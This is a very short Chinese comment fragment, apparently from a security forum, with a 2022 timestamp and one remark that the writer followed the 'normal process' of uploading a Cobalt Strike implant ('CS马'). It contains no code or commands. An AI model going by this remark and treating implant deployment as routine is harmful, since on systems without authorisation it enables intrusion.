      2022-1-12 21:56:07

      这个我应该是走的正常流程，上传cs马

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